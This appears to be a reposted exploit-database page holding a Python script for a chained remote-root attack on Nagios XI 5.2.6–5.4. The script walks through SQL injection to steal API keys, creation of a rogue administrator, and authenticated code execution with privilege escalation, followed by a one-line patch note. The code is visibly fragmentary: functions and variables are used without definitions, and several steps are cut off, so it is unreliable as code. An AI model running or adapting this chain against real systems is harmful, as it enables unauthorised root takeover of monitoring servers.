Exploits / Vulnerability Discovered : 2018-04-30 |
Type : webapps |
Platform : php
This exploit / vulnerability Nagios xi 5.2.6 < 5.2.9 / 5.3 / 5.4 chained remote root is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Exploit Title: Nagios XI 5.2.[6-9], 5.3, 5.4 Chained Remote Root
# Date: 4/17/2018
# Exploit Authors: Benny Husted, Jared Arave, Cale Smith
# Contact: https://twitter.com/iotennui || https://twitter.com/BennyHusted || https://twitter.com/0xC413
# Vendor Homepage: https://www.nagios.com/
# Software Link: https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.4.10-64.ova
# Version: Nagios XI versions 5.2.[6-9], 5.3, 5.4
# Tested on: CentOS 6.7
# CVE: CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736
import httplib
import urllib
import ssl
import sys
import base64
import random
import time
import string
import json
import re
from optparse import OptionParser
# Print some helpful words:
print """
###############################################################################
Nagois XI 5.2.[6-9], 5.3, 5.4 Chained Remote Root
This exploit leverages the vulnerabilities enumerated in these CVES:
[ CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736 ]
More details here:
http://blog.redactedsec.net/exploits/2018/04/26/nagios.html
Steps are as follows:
0. Determine Version
1. Change the database user to root:nagiosxi
2. Get an API key w/ SQLi
3. Use the API Key to add an administrative user
4. Login as that administrative user
5. Do some authenticated RCE w/ privesc
6. Cleanup.
###############################################################################
"""
# TODO: Figure out what port it's running on, 80 or 443.
start_indecies = [m.start() for m in re.finditer(begin_delim, resp)]
end_indecies = [m.start() for m in re.finditer(end_delim, resp)]
unique_keys = []
for i, index in enumerate(start_indecies):
start_index = index + len(begin_delim)
end_index = end_indecies[i]
key = resp[start_index:end_index]
if not key in unique_keys:
unique_keys.append(key)
# find the last instance of the nagiosxi cookie...
start_index = resp.rfind(begin_delim) + len(begin_delim)
resp = resp[start_index:]
end_index = resp.find(end_delim)
################################################################
# REQUEST ZERO: GET NAGIOS VERSION
################################################################
r0_resp = r0.read()
version = parse_version(r0_resp)
ver_int = int(version.split('.')[1])
con0.close()
print "[+] STEP 0: Nagios XI verions is: {0}".format(version)
################################################################
# REQUEST ONE: CHANGE THE DATABASE USER TO ROOT
################################################################
r1 = change_db_user('root', 'nagiosxi', '1')
if r1.status == 302:
print "[+] STEP 1: Received a 302 Response. That's good!"
else:
print "[!] STEP 1: Received a {0} Response. That's bad.".format(str(r1.status))
exit()
################################################################
# REQUEST TWO: GET THE API KEY USING SQLi
################################################################
if len(api_keys) > 0:
print "[+] Found {0} unique API keys. Cool:".format(str(len(api_keys)))
for key in api_keys:
print "[+] {0}".format(key)
else:
print "[!] No API keys found! Oh no. Exiting..."
exit()
################################################################
# REQUEST THREE: USE THE API KEY TO ADD AN ADMIN USER
################################################################
# Generate the sketchiest username possibe :D
sploit_username = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(16))
# And also the worlds best password
sploit_password = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(16))
################################################################
# REQUEST FOUR: LOGIN AS ADMINISTRATIVE USER
################################################################
print ""
print "[+] STEP 4.1: Authenticate as user TODO."
print "[+] STEP 4.1: Get NSP for login..."
url4p1 = '/nagiosxi/login.php'
headers4p1 = {'Host' : RHOST}
params4p1 = ""
if r1.status == 302:
print "[+] STEP 6: Received a 302 Response. That's good!"
else:
print "[!] STEP 6: Received a {0} Response. That's bad.".format(str(r1.status))
exit()
################################################################
# Solution: Update to a version of NagiosXI >= 5.4.13
################################################################